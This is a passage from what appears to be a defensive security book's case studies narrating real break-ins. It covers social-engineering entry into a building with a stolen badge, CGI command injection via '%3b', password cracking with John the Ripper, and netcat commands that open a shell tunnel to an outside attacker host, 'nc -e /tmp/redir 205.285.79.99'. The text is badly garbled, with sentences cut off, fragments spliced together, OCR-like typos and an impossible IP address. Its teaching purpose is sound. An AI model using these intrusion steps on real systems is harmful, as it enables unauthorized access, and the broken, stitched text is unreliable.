In the following case studies, we let you into the heads of three crackers as they break into machines. We let you watch every success and failure, every command typed, and how the administrators were able to catch them, if at all.

By letting you zwatch” these experiences directly thromgh the eyes of the cracker, you’ll hopefully see what you’re up against, so you are better prepared to defend your systems.

These case studies draw upon material found thromghout the book. All are real hacks, exactly as they happened. Just don’t ask us who any of the participants really were.

CASE STUDY A

This case study follows a simple intrusion. It highlights the following:

- You should never reuse your passwords on untrusted machines.

Case Studies

```
EOF
Connection to box1.martin_sardoit closed.
[Connection closed]
clive$
```

Getting In

Chad decided the best option would be to enter the building and attempt to access the host physically. He already knew the layout of the building, and he'd already seen some of the security measures in use.

The outside door of the organization was card-key controlled, and he knew he had little chance of acquiring a key. However, he thought it would be relatively easy to sneak in with the cleaning crew. That night he parked outside the building and found that they came in at 8 p.m. They didn't wear uniforms, but they had what appeared to be badges. They didn't have card-keys, but when they rang the bell, they were let in by one of the evening workers, probably some of the second-shift NOC employees. They left that evening about three hours later.

He noted the workers' company van when they were inside and wrote down the company name. The next day, he went to the offices of the cleaners and entered, following some employees who looked like they'd just finished their workday. They led him to the room in which they kept their time cards and badges. He found a time card that hadn't been used in a few weeks (probably an employee who was on vacation or had quit) and took the matching badge.

The next night, 15 minutes the cleaning crew entered, he rang the bell himself. He carried a bag and a vacuum (he had grabbed it from their truck, which they'd locked) and was barely noticed by the NOC technician who assumed he was merely late getting to work.

Entering the Server Room

The next step, now that he had rather free rein of the building, was to get into the server room. The door was protected by a card-key reader, but it also had a lock, presumably for emergencies when the electronic key system failed. He knew from his interview who the various managers were and who would be most likely to have a key to the room.

server since the interview, and the only console access was now via a serial port to the terminal server.

This didn’t slow him down much, though. He opened the nondescript bag he’d brought with him that contained his laptop. He plugged the terminal cable into his serial port and connected to it. Unfortunately, the last user hadn’t left himself logged on, so Chad would be unable to download his attack scripts. He certainly didn’t want to waste time trying to guess passwords.

He scanned the neighboring machines and found that most were running minimal services—a few Linux web servers, some NT machines, and Solaris hosts.

```
!
ip domain-name internal_net.the_isp.com
```

Cisco offers a variety of password encryption options. In this case, `password 7` was used, which is not encryption, but merely obfuscation. It is known that you can reverse the algorithm to take the obfuscated string (`120A321E454324`

Case Studies

ACLs installed, and thus he was able to use the sniffed information to contact the servers

```
Port    State       Protocol  Service
25      open        tcp       smtp
443     open        tcp       https

TCP Sequence Prediction: Class=truly random
                         Difficulty=9999999 (Good luck!)
No OS matches for host (If you know what OS is running on
  it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
```

was programmed to look like it was newer than it actually was. However, they all failed. Sendmail would not give him any access.

Probing the Web Server

```
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 19 Apr 2000 04:43:00 PDT
Server: Apache/1.3.26 (Unix) mod_ssl/2.8.5 OpenSSL/0.9.6b
Last-Modified: Wed, 19 Apr 2000 04:43:00 PDT
ETag: "19f36-6f-390ef215"
Accept-Ranges: bytes
Content-Length: 111
Connection: close
Content-Type: text/html
```

All the software seemed to be current (again, s of the publication of this book), and no known security problems existed with the web server (Apache), its SSL suite (mod_ssl), or the crypto libraries upon which it was built (OpenSSL). Additionally, SSL was negotiated to a full 128-bit cipher suite (`EDH-RSA-DES-CBC3-SHA`). All indications pointed to a well-configured machine.

If the cracker wanted to get into this box, the only thing left was to check out the CGIs available on the machine, assuming there were some.

Looking for CGIs

First the cracker ran a simple homegrown program to check for the presence of CGIs such s `pTf`, `test-cgi`, `wwwboard.pl`

▲ This CGI was not linked from anywhere on the server—in fact, an improved employee search CGI was available instead. This CGI was listed in the search engine only.

It was likely that this CGI had been long forgotten and probably not at all maintained.

Query	Result
`.`	Result page with what appeared to be all the addresses in the database.
`%3b`	Inside the HTML result page, as seen in Figure 2, was the following output: Usage: grep [OPTION]... PATTERN [FILE]... Try `grep-- help’ for more information. sh: /web/private/people: Permission denied

The `%3b` is the hexadecimal equivalent of `;`—the Bourne shell command separator. It

Reading the results of his commands in the HTML tables was annoying, so he wrote a quick Perl script to call the CGI with his arbitrary values and to strip away all the HTML crust. He listed various binary directories and found that only the following programs were installed:

```
/bin/ls /bin/grep /bin/sh /bin/cp /bin/mv /usr/bin/perl
```

Turns out the file did look like a password file, likely the one that the web server used to authenticc2e users. He ran John the Ripper on it and found a username / password pair `admguest/guest1`. He was successfully able to run the `addpage.cgi` script using this password.

The `addpage.cgi` program looked like a program to allow employees to add con-

But since `find` wasn’t installed in this `chroot`ed environment, he would have to write it in Perl.

`addpage.cgi`, which would end up adding more web server log entries, he used netcat as follows:

```
crackerbox# nc -p 8889 -l </usr/bin/nmap

webserver> $ nc -p 8080 -w 2 (attackers ip) 8889 >/tmp/nmap </dev/null
```

Then he ran `nmap` from the web server itself:

```
webserver> $ nmap -sS localhost
Starting nmap V. 2.54BETA1 by fyodor@insecure.org
( www.insecure.org/nmap/ )
(The 1521 ports scanned but not shown below are in state: closed)
Port    State       Protocol  Service
21      open        tcp       ftp
22      open        tcp       ssh
25      open        tcp       smtp
53      open        tcp       domain
443     open        tcp       https
```

Indeed, there were services running on the machine that were not available when coming from outside the firewall.

Attacking the FTP Server

The attacker had many scripts that would allow him to attack a vulnerable FTP server. To

```
webserver> chmod 0700, "/tmp/redir";
webserver> $ nc -e /tmp/redir 205.285.79.99 6666
```

The `ftp_exploit` script didn't work, but he had several to choose from in his arsenal. He restarted the Netcat commands using different FTP exploits on his personal machine.

One of his exploits succeeded—one that was programmed to exploit a rather old vulnerability in `wu-ftpd 2.5.0`. He was granted a `root` shell on the web server from which he could execute any commands he wished. And due to his Netcat tunnel, he could do all of it comfortably from his home machine.

Not only had he gotten `root` access, but the FTP server was not `chroot`ee as the web server was. This meant he had full access to the machine, not the limited subset he was jailed in before.

been current, `root` access aruld not have been achieved, and the attacker aruld likely have remained confined to the `chroot` jail.

- The reuse of the `admguest` username and password allowed the attacker the FTP logon he needed to use his exploit.

mount type that is made purely from memory, not on any media. So it would seem that the cracker wanted toat sure that anything he put there disappeared when the

`tst` had two files open, `pws` (passwords?) and `input`. It was ianteresting to note that